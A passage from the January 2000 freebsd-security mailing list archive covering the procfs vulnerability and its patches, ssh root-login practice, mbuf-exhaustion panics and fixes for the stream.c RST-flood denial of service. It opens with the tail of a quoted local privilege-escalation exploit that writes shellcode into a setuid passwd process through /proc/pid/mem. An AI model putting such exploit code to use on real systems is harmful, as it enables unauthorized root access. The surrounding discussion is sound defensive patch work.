return.\n"); > exit(1); > default: > /* give parent time to open /proc/pid/mem */ > pause(); > putenv(sc); > execl(PASSWD, "passwd", NULL); > perror("execl"); > exit(0); > > } >} -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity +-------- ------- ------ ----- ---- --- -- ------ --------+ | Tim Yardley (yardley@uiuc.edu) | http://www.students.uiuc.edu/~yardley/ +-------- ------- ------ ----- ---- --- -- ------ --------+ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 16:21:50 2000 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id CAE4414BE5; Sun, 23 Jan 2000 16:21:49 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id B9DB21CD67C; Sun, 23 Jan 2000 16:21:49 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Sun, 23 Jan 2000 16:21:49 -0800 (PST) From: Kris Kennaway To: Tim Yardley Cc: freebsd-security@FreeBSD.ORG Subject: Re: Fwd: *BSD procfs vulnerability In-Reply-To: <4.2.0.58.20000123181240.0144ef10@students.uiuc.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 23 Jan 2000, Tim Yardley wrote: > i would hope this is getting looked into... It's been fixed for about 3 days.. > > Patches are available on > >http://www.openbsd.org/errata.html#procfs > >ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch The advisory will be forthcoming... Kris ---- "How many roads must a man walk down, before you call him a man?" "Eight!" "That was a rhetorical question!" "Oh..then, seven!" -- Homer Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 16:22:30 2000 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 551641512D; Sun, 23 Jan 2000 16:22:29 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 4557A1CD67D; Sun, 23 Jan 2000 16:22:29 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Sun, 23 Jan 2000 16:22:29 -0800 (PST) From: Kris Kennaway To: Tim Yardley Cc: freebsd-security@FreeBSD.ORG Subject: Re: Fwd: *BSD procfs vulnerability In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 23 Jan 2000, Kris Kennaway wrote: > On Sun, 23 Jan 2000, Tim Yardley wrote: > > > i would hope this is getting looked into... > > It's been fixed for about 3 days.. And in case it wasn't clear, the patches have been in -stable and -current since then. Kris ---- "How many roads must a man walk down, before you call him a man?" "Eight!" "That was a rhetorical question!" "Oh..then, seven!" -- Homer Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 16:32:28 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.vr.IN-Berlin.DE (gnu.in-berlin.de [192.109.42.4]) by hub.freebsd.org (Postfix) with ESMTP id 363FA14D61 for ; Sun, 23 Jan 2000 16:32:24 -0800 (PST) (envelope-from server.nostromo.in-berlin.de!ripley@servicia.in-berlin.de) Received: from uriela.in-berlin.de (root@servicia.in-berlin.de [192.109.42.145]) by mail.vr.IN-Berlin.DE (8.9.3/8.9.3) with ESMTP id BAA22520 for ; Mon, 24 Jan 2000 01:32:22 +0100 (CET) (envelope-from server.nostromo.in-berlin.de!ripley@servicia.in-berlin.de) Received: by uriela.in-berlin.de (Smail-3.2.0.102 1998-Aug-2 #2) id m12CXQZ-0054b4C; Mon, 24 Jan 2000 01:32:19 +0100 (CET) Received: (from ripley@localhost) by server.nostromo.in-berlin.de (8.9.3/8.9.3) id VAA92578 for freebsd-security@FreeBSD.ORG; Sun, 23 Jan 2000 21:04:21 +0100 (CET) (envelope-from ripley) Date: Sun, 23 Jan 2000 21:04:21 +0100 From: "H. Eckert" To: freebsd-security@FreeBSD.ORG Subject: Re: ssh-feature 'backdoor' Message-ID: <20000123210421.A90963@server.nostromo.in-berlin.de> References: <20000119134325.J2167@supra.rotterdam.luna.net> <20000119155203.C8404@is.co.za> <20000120002132R.1000@eccosys.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.95.6i In-Reply-To: <20000120002132R.1000@eccosys.com>; from sen_ml@eccosys.com on Thu, Jan 20, 2000 at 12:21:32AM +0900 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Quoting sen_ml@eccosys.com (sen_ml@eccosys.com): > if you su, don't you have to type in the root password? even if the > session is encrypted, the password still goes over the wire. if you > use rsa key authentication you don't have that particular risk (though > you may have others). There are alternatives to su which don't need the user to have the root password. Besides (assuming encrypted connections) it's not so much a matter about the password being transferred over the wire but whether the user has to know it at all. If he doesn't even have it, it can't be compromised by the user... Greetings, Ripley -- H. Eckert, 10777 Berlin, Germany, http://www.in-berlin.de/User/nostromo/ ISO 8859-1: Ä=Ae, Ö=Oe, Ü=Ue, ä=ae, ö=oe, ü=ue, ß=sz. "(Technobabbel)" (Jetrel) - "Müssen wir uns diesen Schwachsinn wirklich anhören?" (Neelix) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 17:30:22 2000 Delivered-To: freebsd-security@freebsd.org Received: from nsm.htp.org (nsm.htp.org [202.241.243.104]) by hub.freebsd.org (Postfix) with SMTP id 61B4614CE0 for ; Sun, 23 Jan 2000 17:30:00 -0800 (PST) (envelope-from sen_ml@eccosys.com) Received: (qmail 25972 invoked from network); 24 Jan 2000 01:28:36 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 24 Jan 2000 01:28:36 -0000 To: freebsd-security@FreeBSD.ORG Subject: Re: ssh-feature 'backdoor' From: sen_ml@eccosys.com In-Reply-To: <20000123210421.A90963@server.nostromo.in-berlin.de> References: <20000119155203.C8404@is.co.za> <20000120002132R.1000@eccosys.com> <20000123210421.A90963@server.nostromo.in-berlin.de> X-Mailer: Mew version 1.94.1 on Emacs 20.5 / Mule 4.0 (HANANOEN) X-No-Archive: Yes Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000124103034W.1000@eccosys.com> Date: Mon, 24 Jan 2000 10:30:34 +0900 X-Dispatcher: imput version 990905(IM130) Lines: 34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org ripley> Quoting sen_ml@eccosys.com (sen_ml@eccosys.com): > if you su, don't you have to type in the root password? even if the > session is encrypted, the password still goes over the wire. if you > use rsa key authentication you don't have that particular risk (though > you may have others). ripley> There are alternatives to su which don't need the user to have the ripley> root password. then perhaps those can provide viable alternatives. (btw, do you have any personal recommendations?) at least for the current discussion i was under the impression that su was mentioned explicitly :-) ripley> Besides (assuming encrypted connections) it's not so much a ripley> matter about the password being transferred over the wire i think this is concern is a subject of individual perspective. party a may not care, but party b may. as you can tell, i'm one of those people that is bothered by the password going over the wire, even if in encrypted form. i like things like challenge-and-response authentication and srp. ripley> but whether the user has to know it at all. If he doesn't even ripley> have it, it can't be compromised by the user... isn't the situation similar w/ using rsa authentication and logging in as root (i prefer this set up)? you have to be able to decrypt a certain secret key. if the user can't decrypt some secret key, the user shouldn't be able to get root that way. am i missing an important difference here? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 17:37: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from vinyl.sentex.ca (vinyl.sentex.ca [209.112.4.14]) by hub.freebsd.org (Postfix) with ESMTP id C758615046 for ; Sun, 23 Jan 2000 17:37:02 -0800 (PST) (envelope-from mike@sentex.net) Received: from granite.sentex.net (granite-atm.sentex.ca [209.112.4.1]) by vinyl.sentex.ca (8.9.3/8.9.3) with ESMTP id UAA04581 for ; Sun, 23 Jan 2000 20:37:01 -0500 (EST) (envelope-from mike@sentex.net) Received: from p10 (ospf-mdt.sentex.net [205.211.164.81]) by granite.sentex.net (8.8.8/8.6.9) with ESMTP id UAA20854 for ; Sun, 23 Jan 2000 20:37:01 -0500 (EST) Message-Id: <4.2.2.20000123203515.00a506c0@mail.sentex.net> X-Sender: mdtancsa@mail.sentex.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Sun, 23 Jan 2000 20:35:45 -0500 To: freebsd-security@FreeBSD.ORG From: Mike Tancsa Subject: Re: Fwd: *BSD procfs vulnerability In-Reply-To: <4.2.0.58.20000123181240.0144ef10@students.uiuc.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org What are the implications on unmounting procfs ? ---Mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 17:48:20 2000 Delivered-To: freebsd-security@freebsd.org Received: from point.osg.gov.bc.ca (point.osg.gov.bc.ca [142.32.102.44]) by hub.freebsd.org (Postfix) with ESMTP id E226414CAF for ; Sun, 23 Jan 2000 17:48:17 -0800 (PST) (envelope-from Cy.Schubert@uumail.gov.bc.ca) Received: (from daemon@localhost) by point.osg.gov.bc.ca (8.8.7/8.8.8) id RAA20222; Sun, 23 Jan 2000 17:47:44 -0800 Received: from passer.osg.gov.bc.ca(142.32.110.29) via SMTP by point.osg.gov.bc.ca, id smtpda20220; Sun Jan 23 17:47:37 2000 Received: (from uucp@localhost) by passer.osg.gov.bc.ca (8.9.3/8.9.1) id RAA00853; Sun, 23 Jan 2000 17:47:37 -0800 (PST) Received: from cwsys9.cwsent.com(10.2.2.1), claiming to be "cwsys.cwsent.com" via SMTP by passer9.cwsent.com, id smtpdbVK851; Sun Jan 23 17:47:13 2000 Received: (from uucp@localhost) by cwsys.cwsent.com (8.9.3/8.9.1) id RAA01377; Sun, 23 Jan 2000 17:47:11 -0800 (PST) Message-Id: <200001240147.RAA01377@cwsys.cwsent.com> Received: from localhost.cwsent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwsent.com, id smtpdLG1370; Sun Jan 23 17:46:34 2000 X-Mailer: exmh version 2.1.1 10/15/1999 Reply-To: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-OS: FreeBSD 3.4-RELEASE X-Sender: cy To: Mike Tancsa Cc: freebsd-security@FreeBSD.ORG Subject: Re: Fwd: *BSD procfs vulnerability In-reply-to: Your message of "Sun, 23 Jan 2000 20:35:45 EST." <4.2.2.20000123203515.00a506c0@mail.sentex.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 23 Jan 2000 17:46:33 -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <4.2.2.20000123203515.00a506c0@mail.sentex.net>, Mike Tancsa writes: > > > What are the implications on unmounting procfs ? ps won't display the command line or environment and I've been told that gdb will stop working. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 Sun/DEC Team, UNIX Group Internet: Cy.Schubert@uumail.gov.bc.ca ITSD Province of BC "COBOL IS A WASTE OF CARDS." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 17:53:22 2000 Delivered-To: freebsd-security@freebsd.org Received: from alcanet.com.au (mail.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with ESMTP id 41F6614D82 for ; Sun, 23 Jan 2000 17:53:17 -0800 (PST) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <115220>; Mon, 24 Jan 2000 12:53:51 +1100 Content-return: prohibited From: Peter Jeremy Subject: Re: kernel panic's still due to mbuf problems. In-reply-to: <200001232329.KAA02494@cairo.anu.edu.au>; from avalon@coombs.anu.edu.au on Mon, Jan 24, 2000 at 10:30:39AM +1100 To: Darren Reed Cc: freebsd-security@FreeBSD.ORG Message-Id: <00Jan24.125351est.115220@border.alcanet.com.au> MIME-version: 1.0 X-Mailer: Mutt 1.0i Content-type: text/plain; charset=us-ascii References: <200001232329.KAA02494@cairo.anu.edu.au> Date: Mon, 24 Jan 2000 12:53:49 +1100 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 2000-Jan-24 10:30:39 +1100, Darren Reed wrote: >Amongst all these `stream.c' emails, I noticed at least one which >had a FreeBSD panic message saying there were no mbuf's free. I >think it was for a 3.4 system. *That* is the bug which should be >fixed. Unfortunately, your patches to do so seem to have become separated from your posting :-). This subject has been discussed regularly and so far, no-one has managed to produce a solution which does not entail a significant performance hit. It's generally accepted that the current behaviour is undesirable and if you have real solution to offer, I'm sure it'll be gratefully accepted. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 17:59:44 2000 Delivered-To: freebsd-security@freebsd.org Received: from oracle.dsuper.net (oracle.dsuper.net [205.205.255.1]) by hub.freebsd.org (Postfix) with ESMTP id E0D0215741 for ; Sun, 23 Jan 2000 17:58:19 -0800 (PST) (envelope-from bmilekic@dsuper.net) Received: from oracle.dsuper.net (oracle.dsuper.net [205.205.255.1]) by oracle.dsuper.net (8.9.3/8.9.3) with ESMTP id UAA28019; Sun, 23 Jan 2000 20:57:24 -0500 (EST) Date: Sun, 23 Jan 2000 20:57:23 -0500 (EST) From: Bosko Milekic To: Darren Reed Cc: freebsd-security@FreeBSD.ORG Subject: Re: kernel panic's still due to mbuf problems. In-Reply-To: <200001232329.KAA02494@cairo.anu.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 24 Jan 2000, Darren Reed wrote: > >Amongst all these `stream.c' emails, I noticed at least one which >had a FreeBSD panic message saying there were no mbuf's free. I >think it was for a 3.4 system. *That* is the bug which should be >fixed. > >Darren > You know, "among all these `stream.c' Emails," I don't believe that I've seen a single one that was worth being called a `bug report,' at all. Unless I missed something after having adapted to the volume of `stream.c' related junk by systematically deleting them, I don't believe that I've seen any _detailed_ problem analysis, rather various hypothesizing about nothing and everything all at once. As for the mbuf issue, 4.0-RELEASE will include a less-fatal way of dealing with a shortage. Although, I'm not exactly sure of _what_ instance of shortage you (or whoever had posted that comment originally) is dealing with. Can you point me to the reasonably-detailed stream.c related Email to which you're referring to above? -- Bosko Milekic Email: bmilekic@dsuper.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 18:13:28 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 1CD1F14CB6 for ; Sun, 23 Jan 2000 18:13:22 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id TAA97994; Sun, 23 Jan 2000 19:13:18 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id TAA47930; Sun, 23 Jan 2000 19:13:49 -0700 (MST) Message-Id: <200001240213.TAA47930@harmony.village.org> To: Tim Yardley Subject: Re: Fwd: *BSD procfs vulnerability Cc: freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Sun, 23 Jan 2000 18:13:51 CST." <4.2.0.58.20000123181240.0144ef10@students.uiuc.edu> References: <4.2.0.58.20000123181240.0144ef10@students.uiuc.edu> Date: Sun, 23 Jan 2000 19:13:49 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <4.2.0.58.20000123181240.0144ef10@students.uiuc.edu> Tim Yardley writes: : i would hope this is getting looked into... Maybe you mised the following: : > Patches are available on : >http://www.openbsd.org/errata.html#procfs : >ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-00:02/procfs.patch Now that this has hit bugtraq, I'll do the advisory republishing. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 18:14:24 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 20E6F156F5 for ; Sun, 23 Jan 2000 18:14:10 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id TAA97999; Sun, 23 Jan 2000 19:14:06 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id TAA47946; Sun, 23 Jan 2000 19:14:38 -0700 (MST) Message-Id: <200001240214.TAA47946@harmony.village.org> To: Peter Jeremy Subject: Re: kernel panic's still due to mbuf problems. Cc: Darren Reed , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Mon, 24 Jan 2000 12:53:49 +1100." <00Jan24.125351est.115220@border.alcanet.com.au> References: <00Jan24.125351est.115220@border.alcanet.com.au> <200001232329.KAA02494@cairo.anu.edu.au> Date: Sun, 23 Jan 2000 19:14:38 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <00Jan24.125351est.115220@border.alcanet.com.au> Peter Jeremy writes: : This subject has been discussed regularly and so far, no-one has : managed to produce a solution which does not entail a significant : performance hit. It's generally accepted that the current behaviour : is undesirable and if you have real solution to offer, I'm sure : it'll be gratefully accepted. I'm working on that... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 19:18:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from mail.xmission.com (mail.xmission.com [198.60.22.22]) by hub.freebsd.org (Postfix) with ESMTP id 4115214D5D for ; Sun, 23 Jan 2000 19:18:35 -0800 (PST) (envelope-from wes@softweyr.com) Received: from [204.68.178.39] (helo=softweyr.com ident=200 years too late) by mail.xmission.com with esmtp (Exim 3.03 #3) id 12Ca1R-0007LV-00; Sun, 23 Jan 2000 20:18:34 -0700 Message-ID: <388BC59A.1AD012C5@softweyr.com> Date: Sun, 23 Jan 2000 20:23:06 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Alfred Perlstein Cc: Richard Steenbergen , freebsd-security@FreeBSD.ORG Subject: Re: stream.c References: <20000123102829.C18349@above.net> <20000123083234.N26520@fw.wintelcom.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Alfred Perlstein wrote: > > * Richard Steenbergen [000123 07:53] wrote: > > > > The correct "sorta-fix" is to rate limit the number of dropwithreset's per > > second, else kick them down to straight drop. I believe this has been done > > effectively in http://www.freebsd.org/~alfred/tcp_fix.diff (though I > > question what its aimed to be accomplished with that checksum work :P). > > The idea is to reduce the amount of time spent doing checksums on invalid > packets, why checksum if the destination port isn't open or no such > connection is open? Because you don't have any idea if the TCP header information is valid until you've completed a checksum. > Unfortunatly even after moving the checksum quite far into tcp_input's > path it still seems pretty easy to eat all CPU on a box, in fact I > didn't notice any improvement at all. > > Maybe i'm missing something, those interested can have a try at: > http://www.freebsd.org/~alfred/tcp_fix_untested.diff > > maybe someone can tell me what i'm screwing up. You're fixing the wrong problem. The problem stems from injecting multicast RST packets, which generate multicast replies on all attached interfaces. The real solution seems to be to reject the invalid multicast TCP packets without generating a reply, since they cannot possibly be valid packets. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 19:40:20 2000 Delivered-To: freebsd-security@freebsd.org Received: from oracle.dsuper.net (oracle.dsuper.net [205.205.255.1]) by hub.freebsd.org (Postfix) with ESMTP id 8A23114FFC for ; Sun, 23 Jan 2000 19:40:15 -0800 (PST) (envelope-from bmilekic@dsuper.net) Received: from oracle.dsuper.net (oracle.dsuper.net [205.205.255.1]) by oracle.dsuper.net (8.9.3/8.9.3) with ESMTP id WAA27923; Sun, 23 Jan 2000 22:39:50 -0500 (EST) Date: Sun, 23 Jan 2000 22:39:50 -0500 (EST) From: Bosko Milekic To: Warner Losh Cc: Peter Jeremy , Darren Reed , freebsd-security@FreeBSD.ORG Subject: Re: kernel panic's still due to mbuf problems. In-Reply-To: <200001240214.TAA47946@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sun, 23 Jan 2000, Warner Losh wrote: >In message <00Jan24.125351est.115220@border.alcanet.com.au> Peter Jeremy writes: >: This subject has been discussed regularly and so far, no-one has >: managed to produce a solution which does not entail a significant >: performance hit. It's generally accepted that the current behaviour >: is undesirable and if you have real solution to offer, I'm sure >: it'll be gratefully accepted. > >I'm working on that... > Well, then. Would you be willing to share on exactly what aspect you're working on? I'm presently designing/writing a quasi-load balancing system for local processes. The idea will probably result in a `mbufd' kernel thread/daemon which will work with a list to which processes which have opened (a) socket(s) will be hung off of. Each entry in the list will build its own "horizontal" socket list. As this all grows, when mbufs and clusters become significantly limited, the thread would be woken and would close sockets belonging to certain processes, thus resulting in flushing the sockbuf space for the socket in question. In this situation, a system will have to be devised where the load is spread out evenly, therefore not permitting a single process to hold on to mbufs or mclusters for too long, when something else needs it. Remember, this would only be triggered when *low* in network memory resources. A wise administrator would ensure that sockbuf limiting is in place anyway, and this would be a last-hope solution (better than just killing processes off). More discussion will have to be done for what concerns the clean closure of the sockets, obviously. I already have the x-y lists and the thread written, but the main and most significant portion of the work still remains to be designed/written (aside from all the gory performance details for what concerns searching and tinkering with the x-y lists above). Now, if you're writing something else, I'd be very curious to hear about it, since it can (and probably will) affect whatever I'm already playing with -- if you don't mind. :-) -Bosko. -- Bosko Milekic Email: bmilekic@dsuper.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 19:42:46 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 7E6C515005 for ; Sun, 23 Jan 2000 19:42:27 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id UAA98429; Sun, 23 Jan 2000 20:42:03 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id UAA48722; Sun, 23 Jan 2000 20:42:36 -0700 (MST) Message-Id: <200001240342.UAA48722@harmony.village.org> To: Bosko Milekic Subject: Re: kernel panic's still due to mbuf problems. Cc: Peter Jeremy , Darren Reed , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Sun, 23 Jan 2000 22:39:50 EST." References: Date: Sun, 23 Jan 2000 20:42:36 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'm just merging patches to mitigate this problem. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 19:46:15 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 1013B14C89 for ; Sun, 23 Jan 2000 19:46:10 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id UAA98458; Sun, 23 Jan 2000 20:45:57 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id UAA48819; Sun, 23 Jan 2000 20:46:30 -0700 (MST) Message-Id: <200001240346.UAA48819@harmony.village.org> To: Wes Peters Subject: Re: stream.c Cc: Alfred Perlstein , Richard Steenbergen , freebsd-security@FreeBSD.ORG In-reply-to: Your message of "Sun, 23 Jan 2000 20:23:06 MST." <388BC59A.1AD012C5@softweyr.com> References: <388BC59A.1AD012C5@softweyr.com> <20000123102829.C18349@above.net> <20000123083234.N26520@fw.wintelcom.net> Date: Sun, 23 Jan 2000 20:46:30 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <388BC59A.1AD012C5@softweyr.com> Wes Peters writes: : You're fixing the wrong problem. The problem stems from injecting multicast : RST packets, which generate multicast replies on all attached interfaces. : The real solution seems to be to reject the invalid multicast TCP packets : without generating a reply, since they cannot possibly be valid packets. That's one of the two parts of the patch that I'm working on. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sun Jan 23 23:38:44 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id 8DCD514E5B for ; Sun, 23 Jan 2000 23:38:41 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id XAA07748; Sun, 23 Jan 2000 23:38:36 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id XAA63040; Sun, 23 Jan 2000 23:38:35 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from gdonl@localhost) by salsa.gv.tsc.tdk.com (8.8.5/8.8.5) id XAA21595; Sun, 23 Jan 2000 23:38:35 -0800 (PST) From: Don Lewis Message-Id: <200001240738.XAA21595@salsa.gv.tsc.tdk.com> Date: Sun, 23 Jan 2000 23:38:35 -0800 In-Reply-To: <20000123112220.E18349@above.net> References: <20000123102829.C18349@above.net> <20000123083234.N26520@fw.wintelcom.net> <20000123112220.E18349@above.net> X-Mailer: Mail User's Shell (7.2.6 beta(5) 10/07/98) To: Richard Steenbergen , Alfred Perlstein Subject: Re: stream.c Cc: freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Jan 23, 11:22am, Richard Steenbergen wrote: } Subject: Re: stream.c } On Sun, Jan 23, 2000 at 08:32:34AM -0800, Alfred Perlstein wrote: } > * Richard Steenbergen [000123 07:53] wrote: } > > } > > The correct "sorta-fix" is to rate limit the number of dropwithreset's per } > > second, else kick them down to straight drop. I believe this has been done } > > effectively in http://www.freebsd.org/~alfred/tcp_fix.diff (though I } > > question what its aimed to be accomplished with that checksum work :P). } > } > The idea is to reduce the amount of time spent doing checksums on invalid } > packets, why checksum if the destination port isn't open or no such } > connection is open? } > } > Unfortunatly even after moving the checksum quite far into tcp_input's } > path it still seems pretty easy to eat all CPU on a box, in fact I } > didn't notice any improvement at all. If the checksum was the problem, then an attacker could DoS the machine by creating a connection and sending duplicate packets. This could be trivially be done by repeatedly sending the same SYN+data. You have to do the checksum before fitting the segment into the input stream. } > Maybe i'm missing something, those interested can have a try at: } > http://www.freebsd.org/~alfred/tcp_fix_untested.diff } > } > maybe someone can tell me what i'm screwing up. } } The checksums are a pretty small amount of the CPU time burned. The RST } generation is by far the worst, the PCB hash lookups are 2nd after that. Any idea why RST generation is so bad? } And really you shouldn't be doing any work at all if the checksum is } invalid. :P To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Jan 24 0: 2:33 2000 Delivered-To: freebsd-security@freebsd.org Received: from gatekeeper.tsc.tdk.com (gatekeeper.tsc.tdk.com [207.113.159.21]) by hub.freebsd.org (Postfix) with ESMTP id DCF9915200 for ; Mon, 24 Jan 2000 00:01:49 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from imap.gv.tsc.tdk.com (imap.gv.tsc.tdk.com [192.168.241.198]) by gatekeeper.tsc.tdk.com (8.8.8/8.8.8) with ESMTP id AAA07927; Mon, 24 Jan 2000 00:01:38 -0800 (PST) (envelope-from gdonl@tsc.tdk.com) Received: from salsa.gv.tsc.tdk.com (salsa.gv.tsc.tdk.com [192.168.241.194]) by imap.gv.tsc.tdk.com (8.9.3/8.9.3) with ESMTP id AAA63120; Mon, 24 Jan 2000 00:01:37 -0800 (PST) (envelope-from Don.Lewis@tsc.tdk.com) Received: (from 